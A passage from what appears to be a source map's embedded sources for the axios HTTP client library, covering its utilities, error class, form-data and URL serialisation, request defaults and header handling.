return;\n      }\n\n      if(!('toJSON' in source)) {\n        stack[i] = source;\n        const target = isArray(source) ? [] : {};\n\n        forEach(source, (value, key) => {\n          const reducedValue = visit(value, i + 1);\n          !isUndefined(reducedValue) && (target[key] = reducedValue);\n        });\n\n        stack[i] = undefined;\n\n        return target;\n      }\n    }\n\n    return source;\n  }\n\n  return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n  isArray,\n  isArrayBuffer,\n  isBuffer,\n  isFormData,\n  isArrayBufferView,\n  isString,\n  isNumber,\n  isBoolean,\n  isObject,\n  isPlainObject,\n  isReadableStream,\n  isRequest,\n  isResponse,\n  isHeaders,\n  isUndefined,\n  isDate,\n  isFile,\n  isBlob,\n  isRegExp,\n  isFunction,\n  isStream,\n  isURLSearchParams,\n  isTypedArray,\n  isFileList,\n  forEach,\n  merge,\n  extend,\n  trim,\n  stripBOM,\n  inherits,\n  toFlatObject,\n  kindOf,\n  kindOfTest,\n  endsWith,\n  toArray,\n  forEachEntry,\n  matchAll,\n  isHTMLForm,\n  hasOwnProperty,\n  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n  reduceDescriptors,\n  freezeMethods,\n  toObjectSet,\n  toCamelCase,\n  noop,\n  toFiniteNumber,\n  findKey,\n  global: _global,\n  isContextDefined,\n  ALPHABET,\n  generateString,\n  isSpecCompliantForm,\n  toJSONObject,\n  isAsyncFn,\n  isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n  Error.call(this);\n\n  if (Error.captureStackTrace) {\n    Error.captureStackTrace(this, this.constructor);\n  } else {\n    this.stack = (new Error()).stack;\n  }\n\n  this.message = message;\n  this.name = 'AxiosError';\n  code && (this.code = code);\n  config && (this.config = config);\n  request && (this.request = request);\n  response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n  toJSON: function toJSON() {\n    return {\n      // Standard\n      message: this.message,\n      name: this.name,\n      // Microsoft\n      description: this.description,\n      number: this.number,\n      // Mozilla\n      fileName: this.fileName,\n      lineNumber: this.lineNumber,\n      columnNumber: this.columnNumber,\n      stack: this.stack,\n      // Axios\n      config: utils.toJSONObject(this.config),\n      code: this.code,\n      status: this.response && this.response.status ? this.response.status : null\n    };\n  }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n  'ERR_BAD_OPTION_VALUE',\n  'ERR_BAD_OPTION',\n  'ECONNABORTED',\n  'ETIMEDOUT',\n  'ERR_NETWORK',\n  'ERR_FR_TOO_MANY_REDIRECTS',\n  'ERR_DEPRECATED',\n  'ERR_BAD_RESPONSE',\n  'ERR_BAD_REQUEST',\n  'ERR_CANCELED',\n  'ERR_NOT_SUPPORT',\n  'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n  descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n  const axiosError = Object.create(prototype);\n\n  utils.toFlatObject(error, axiosError, function filter(obj) {\n    return obj !== Error.prototype;\n  }, prop => {\n    return prop !== 'isAxiosError';\n  });\n\n  AxiosError.call(axiosError, error.message, code, config, request, response);\n\n  axiosError.cause = error;\n\n  axiosError.name = error.name;\n\n  customProps && Object.assign(axiosError, customProps);\n\n  return axiosError;\n};\n\nexport default AxiosError;\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n  return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n  return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n  if (!path) return key;\n  return path.concat(key).map(function each(token, i) {\n    // eslint-disable-next-line no-param-reassign\n    token = removeBrackets(token);\n    return !dots && i ? '[' + token + ']' : token;\n  }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n  return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n  return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n  if (!utils.isObject(obj)) {\n    throw new TypeError('target must be an object');\n  }\n\n  // eslint-disable-next-line no-param-reassign\n  formData = formData || new (PlatformFormData || FormData)();\n\n  // eslint-disable-next-line no-param-reassign\n  options = utils.toFlatObject(options, {\n    metaTokens: true,\n    dots: false,\n    indexes: false\n  }, false, function defined(option, source) {\n    // eslint-disable-next-line no-eq-null,eqeqeq\n    return !utils.isUndefined(source[option]);\n  });\n\n  const metaTokens = options.metaTokens;\n  // eslint-disable-next-line no-use-before-define\n  const visitor = options.visitor || defaultVisitor;\n  const dots = options.dots;\n  const indexes = options.indexes;\n  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n  const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n  if (!utils.isFunction(visitor)) {\n    throw new TypeError('visitor must be a function');\n  }\n\n  function convertValue(value) {\n    if (value === null) return '';\n\n    if (utils.isDate(value)) {\n      return value.toISOString();\n    }\n\n    if (!useBlob && utils.isBlob(value)) {\n      throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n    }\n\n    if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n    }\n\n    return value;\n  }\n\n  /**\n   * Default visitor.\n   *\n   * @param {*} value\n   * @param {String|Number} key\n   * @param {Array<String|Number>} path\n   * @this {FormData}\n   *\n   * @returns {boolean} return true to visit the each prop of the value recursively\n   */\n  function defaultVisitor(value, key, path) {\n    let arr = value;\n\n    if (value && !path && typeof value === 'object') {\n      if (utils.endsWith(key, '{}')) {\n        // eslint-disable-next-line no-param-reassign\n        key = metaTokens ? key : key.slice(0, -2);\n        // eslint-disable-next-line no-param-reassign\n        value = JSON.stringify(value);\n      } else if (\n        (utils.isArray(value) && isFlatArray(value)) ||\n        ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n        )) {\n        // eslint-disable-next-line no-param-reassign\n        key = removeBrackets(key);\n\n        arr.forEach(function each(el, index) {\n          !(utils.isUndefined(el) || el === null) && formData.append(\n            // eslint-disable-next-line no-nested-ternary\n            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n            convertValue(el)\n          );\n        });\n        return false;\n      }\n    }\n\n    if (isVisitable(value)) {\n      return true;\n    }\n\n    formData.append(renderKey(path, key, dots), convertValue(value));\n\n    return false;\n  }\n\n  const stack = [];\n\n  const exposedHelpers = Object.assign(predicates, {\n    defaultVisitor,\n    convertValue,\n    isVisitable\n  });\n\n  function build(value, path) {\n    if (utils.isUndefined(value)) return;\n\n    if (stack.indexOf(value) !== -1) {\n      throw Error('Circular reference detected in ' + path.join('.'));\n    }\n\n    stack.push(value);\n\n    utils.forEach(value, function each(el, key) {\n      const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n        formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n      );\n\n      if (result === true) {\n        build(el, path ? path.concat(key) : [key]);\n      }\n    });\n\n    stack.pop();\n  }\n\n  if (!utils.isObject(obj)) {\n    throw new TypeError('data must be an object');\n  }\n\n  build(obj);\n\n  return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n  this._pairs = [];\n\n  params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n  this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n  const _encode = encoder ? function(value) {\n    return encoder.call(this, value, encode);\n  } : encode;\n\n  return this._pairs.map(function each(pair) {\n    return _encode(pair[0]) + '=' + _encode(pair[1]);\n  }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n  return encodeURIComponent(val).\n    replace(/%3A/gi, ':').\n    replace(/%24/g, '$').\n    replace(/%2C/gi, ',').\n    replace(/%20/g, '+').\n    replace(/%5B/gi, '[').\n    replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n  /*eslint no-param-reassign:0*/\n  if (!params) {\n    return url;\n  }\n  \n  const _encode = options && options.encode || encode;\n\n  const serializeFn = options && options.serialize;\n\n  let serializedParams;\n\n  if (serializeFn) {\n    serializedParams = serializeFn(params, options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params) ?\n      params.toString() :\n      new AxiosURLSearchParams(params, options).toString(_encode);\n  }\n\n  if (serializedParams) {\n    const hashmarkIndex = url.indexOf(\"#\");\n\n    if (hashmarkIndex !== -1) {\n      url = url.slice(0, hashmarkIndex);\n    }\n    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n  }\n\n  return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n  constructor() {\n    this.handlers = [];\n  }\n\n  /**\n   * Add a new interceptor to the stack\n   *\n   * @param {Function} fulfilled The function to handle `then` for a `Promise`\n   * @param {Function} rejected The function to handle `reject` for a `Promise`\n   *\n   * @return {Number} An ID used to remove interceptor later\n   */\n  use(fulfilled, rejected, options) {\n    this.handlers.push({\n      fulfilled,\n      rejected,\n      synchronous: options ? options.synchronous : false,\n      runWhen: options ? options.runWhen : null\n    });\n    return this.handlers.length - 1;\n  }\n\n  /**\n   * Remove an interceptor from the stack\n   *\n   * @param {Number} id The ID that was returned by `use`\n   *\n   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n   */\n  eject(id) {\n    if (this.handlers[id]) {\n      this.handlers[id] = null;\n    }\n  }\n\n  /**\n   * Clear all interceptors from the stack\n   *\n   * @returns {void}\n   */\n  clear() {\n    if (this.handlers) {\n      this.handlers = [];\n    }\n  }\n\n  /**\n   * Iterate over all the registered interceptors\n   *\n   * This method is particularly useful for skipping over any\n   * interceptors that may have become `null` calling `eject`.\n   *\n   * @param {Function} fn The function to call for each interceptor\n   *\n   * @returns {void}\n   */\n  forEach(fn) {\n    utils.forEach(this.handlers, function forEachHandler(h) {\n      if (h !== null) {\n        fn(h);\n      }\n    });\n  }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n  silentJSONParsing: true,\n  forcedJSONParsing: true,\n  clarifyTimeoutError: false\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n  isBrowser: true,\n  classes: {\n    URLSearchParams,\n    FormData,\n    Blob\n  },\n  protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n *  typeof window -> undefined\n *  typeof document -> undefined\n *\n * react-native:\n *  navigator.product -> 'ReactNative'\n * nativescript\n *  navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n  (product) => {\n    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n  })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n  return (\n    typeof WorkerGlobalScope !== 'undefined' &&\n    // eslint-disable-next-line no-undef\n    self instanceof WorkerGlobalScope &&\n    typeof self.importScripts === 'function'\n  );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n  hasBrowserEnv,\n  hasStandardBrowserWebWorkerEnv,\n  hasStandardBrowserEnv,\n  origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n  ...utils,\n  ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n    visitor: function(value, key, path, helpers) {\n      if (platform.isNode && utils.isBuffer(value)) {\n        this.append(key, value.toString('base64'));\n        return false;\n      }\n\n      return helpers.defaultVisitor.apply(this, arguments);\n    }\n  }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n  // foo[x][y][z]\n  // foo.x.y.z\n  // foo-x-y-z\n  // foo x y z\n  return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n    return match[0] === '[]' ? '' : match[1] || match[0];\n  });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n  const obj = {};\n  const keys = Object.keys(arr);\n  let i;\n  const len = keys.length;\n  let key;\n  for (i = 0; i < len; i++) {\n    key = keys[i];\n    obj[key] = arr[key];\n  }\n  return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n  function buildPath(path, value, target, index) {\n    let name = path[index++];\n\n    if (name === '__proto__') return true;\n\n    const isNumericKey = Number.isFinite(+name);\n    const isLast = index >= path.length;\n    name = !name && utils.isArray(target) ? target.length : name;\n\n    if (isLast) {\n      if (utils.hasOwnProp(target, name)) {\n        target[name] = [target[name], value];\n      } else {\n        target[name] = value;\n      }\n\n      return !isNumericKey;\n    }\n\n    if (!target[name] || !utils.isObject(target[name])) {\n      target[name] = [];\n    }\n\n    const result = buildPath(path, value, target[name], index);\n\n    if (result && utils.isArray(target[name])) {\n      target[name] = arrayToObject(target[name]);\n    }\n\n    return !isNumericKey;\n  }\n\n  if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n    const obj = {};\n\n    utils.forEachEntry(formData, (name, value) => {\n      buildPath(parsePropPath(name), value, obj, 0);\n    });\n\n    return obj;\n  }\n\n  return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n  if (utils.isString(rawValue)) {\n    try {\n      (parser || JSON.parse)(rawValue);\n      return utils.trim(rawValue);\n    } catch (e) {\n      if (e.name !== 'SyntaxError') {\n        throw e;\n      }\n    }\n  }\n\n  return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n  transitional: transitionalDefaults,\n\n  adapter: ['xhr', 'http', 'fetch'],\n\n  transformRequest: [function transformRequest(data, headers) {\n    const contentType = headers.getContentType() || '';\n    const hasJSONContentType = contentType.indexOf('application/json') > -1;\n    const isObjectPayload = utils.isObject(data);\n\n    if (isObjectPayload && utils.isHTMLForm(data)) {\n      data = new FormData(data);\n    }\n\n    const isFormData = utils.isFormData(data);\n\n    if (isFormData) {\n      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n    }\n\n    if (utils.isArrayBuffer(data) ||\n      utils.isBuffer(data) ||\n      utils.isStream(data) ||\n      utils.isFile(data) ||\n      utils.isBlob(data) ||\n      utils.isReadableStream(data)\n    ) {\n      return data;\n    }\n    if (utils.isArrayBufferView(data)) {\n      return data.buffer;\n    }\n    if (utils.isURLSearchParams(data)) {\n      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n      return data.toString();\n    }\n\n    let isFileList;\n\n    if (isObjectPayload) {\n      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n        return toURLEncodedForm(data, this.formSerializer).toString();\n      }\n\n      if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n        const _FormData = this.env && this.env.FormData;\n\n        return toFormData(\n          isFileList ? {'files[]': data} : data,\n          _FormData && new _FormData(),\n          this.formSerializer\n        );\n      }\n    }\n\n    if (isObjectPayload || hasJSONContentType ) {\n      headers.setContentType('application/json', false);\n      return stringifySafely(data);\n    }\n\n    return data;\n  }],\n\n  transformResponse: [function transformResponse(data) {\n    const transitional = this.transitional || defaults.transitional;\n    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n    const JSONRequested = this.responseType === 'json';\n\n    if (utils.isResponse(data) || utils.isReadableStream(data)) {\n      return data;\n    }\n\n    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n      const silentJSONParsing = transitional && transitional.silentJSONParsing;\n      const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n      try {\n        return JSON.parse(data);\n      } catch (e) {\n        if (strictJSONParsing) {\n          if (e.name === 'SyntaxError') {\n            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n          }\n          throw e;\n        }\n      }\n    }\n\n    return data;\n  }],\n\n  /**\n   * A timeout in milliseconds to abort a request. If set to 0 (default) a\n   * timeout is not created.\n   */\n  timeout: 0,\n\n  xsrfCookieName: 'XSRF-TOKEN',\n  xsrfHeaderName: 'X-XSRF-TOKEN',\n\n  maxContentLength: -1,\n  maxBodyLength: -1,\n\n  env: {\n    FormData: platform.classes.FormData,\n    Blob: platform.classes.Blob\n  },\n\n  validateStatus: function validateStatus(status) {\n    return status >= 200 && status < 300;\n  },\n\n  headers: {\n    common: {\n      'Accept': 'application/json, text/plain, */*',\n      'Content-Type': undefined\n    }\n  }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n  defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n  'age', 'authorization', 'content-length', 'content-type', 'etag',\n  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n  'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n  'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n  const parsed = {};\n  let key;\n  let val;\n  let i;\n\n  rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n    i = line.indexOf(':');\n    key = line.substring(0, i).trim().toLowerCase();\n    val = line.substring(i + 1).trim();\n\n    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n      return;\n    }\n\n    if (key === 'set-cookie') {\n      if (parsed[key]) {\n        parsed[key].push(val);\n      } else {\n        parsed[key] = [val];\n      }\n    } else {\n      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n    }\n  });\n\n  return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n  return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n  if (value === false || value == null) {\n    return value;\n  }\n\n  return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n  const tokens = Object.create(null);\n  const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n  let match;\n\n  while ((match = tokensRE.exec(str))) {\n    tokens[match[1]] = match[2];\n  }\n\n  return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n  if (utils.isFunction(filter)) {\n    return filter.call(this, value, header);\n  }\n\n  if (isHeaderNameFilter) {\n    value = header;\n  }\n\n  if (!utils.isString(value)) return;\n\n  if (utils.isString(filter)) {\n    return value.indexOf(filter) !== -1;\n  }\n\n  if (utils.isRegExp(filter)) {\n    return filter.test(value);\n  }\n}\n\nfunction formatHeader(header) {\n  return header.trim()\n    .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n      return char.toUpperCase() + str;\n    });\n}\n\nfunction buildAccessors(obj, header) {\n  const accessorName = utils.toCamelCase(' ' + header);\n\n  ['get', 'set', 'has'].forEach(methodName => {\n    Object.defineProperty(obj, methodName + accessorName, {\n      value: function(arg1, arg2, arg3) {\n        return this[methodName].call(this, header, arg1, arg2, arg3);\n      },\n      configurable: true\n    });\n  });\n}\n\nclass AxiosHeaders {\n  constructor(headers) {\n    headers && this.set(headers);\n  }\n\n  set(header, valueOrRewrite, rewrite) {\n    const self = this;\n\n    function setHeader(_value, _header, _rewrite) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!lHeader) {\n        throw new Error('header name must be a non-empty string');\n      }\n\n      const key = utils.findKey(self, lHeader);\n\n      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n        self[key || _header] = normalizeValue(_value);\n      }\n    }\n\n    const setHeaders = (headers, _rewrite) =>\n      utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n    if (utils.isPlainObject(header) || header instanceof this.constructor) {\n      setHeaders(header, valueOrRewrite)\n    } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n      setHeaders(parseHeaders(header), valueOrRewrite);\n    } else if (utils.isHeaders(header)) {\n      for (const [key, value] of header.entries()) {\n        setHeader(value, key, rewrite);\n      }\n    } else {\n      header != null && setHeader(valueOrRewrite, header, rewrite);\n    }\n\n    return this;\n  }\n\n  get(header, parser) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      if (key) {\n        const value = this[key];\n\n        if (!parser) {\n          return value;\n        }\n\n        if (parser === true) {\n          return parseTokens(value);\n        }\n\n        if (utils.isFunction(parser)) {\n          return parser.call(this, value, key);\n        }\n\n        if (utils.isRegExp(parser)) {\n          return parser.exec(value);\n        }\n\n        throw new TypeError('parser must be boolean|regexp|function');\n      }\n    }\n  }\n\n  has(header, matcher) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n    }\n\n    return false;\n  }\n\n  delete(header, matcher) {\n    const self = this;\n    let deleted = false;\n\n    function deleteHeader(_header) {\n      _header = normalizeHeader(_header);\n\n      if (_header) {\n        const key = utils.findKey(self, _header);\n\n        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n          delete self[key];\n\n          deleted = true;\n        }\n      }\n    }\n\n    if (utils.isArray(header)) {\n      header.forEach(deleteHeader);\n    } else {\n      deleteHeader(header);\n    }\n\n    return deleted;\n  }\n\n  clear(matcher) {\n    const keys = Object.keys(this);\n    let i = keys.length;\n    let deleted = false;\n\n    while (i--) {\n      const key = keys[i];\n      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n        delete this[key];\n        deleted = true;\n      }\n    }\n\n    return deleted;\n  }\n\n  normalize(format) {\n    const self = this;\n    const headers = {};\n\n    utils.forEach(this, (value, header) => {\n      const key = utils.findKey(headers, header);\n\n      if (key) {\n        self[key] = normalizeValue(value);\n        delete self[header];\n        return;\n      }\n\n      const normalized = format ? formatHeader(header) : String(header).trim();\n\n      if (normalized !== header) {\n        delete self[header];\n      }\n\n      self[normalized] = normalizeValue(value);\n\n      headers[normalized] = true;\n    });\n\n    return this;\n  }\n\n  concat(...targets) {\n    return this.constructor.concat(this, ...targets);\n  }\n\n  toJSON(asStrings) {\n    const obj = Object.create(null);\n\n    utils.forEach(this, (value, header) => {\n      value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n    });\n\n    return obj;\n  }\n\n  [Symbol.iterator]() {\n    return Object.entries(this.toJSON())[Symbol.iterator]();\n  }\n\n  toString() {\n    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n  }\n\n  get [Symbol.toStringTag]() {\n    return 'AxiosHeaders';\n  }\n\n  static from(thing) {\n    return thing instanceof this ? thing : new this(thing);\n  }\n\n  static concat(first, ...targets) {\n    const computed = new this(first);\n\n    targets.forEach((target) => computed.set(target));\n\n    return computed;\n  }\n\n  static accessor(header) {\n    const internals = this[$internals] = (this[$internals] = {\n      accessors: {}\n    });\n\n    const accessors = internals.accessors;\n    const prototype = this.prototype;\n\n    function defineAccessor(_header) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!accessors[lHeader]) {\n        buildAccessors(prototype, _header);\n        accessors[lHeader] = true;\n      }\n    }\n\n    utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n    return this;\n  }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n  return {\n    get: () => value,\n    set(headerValue) {\n      this[mapped] = headerValue;\n    }\n  }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from 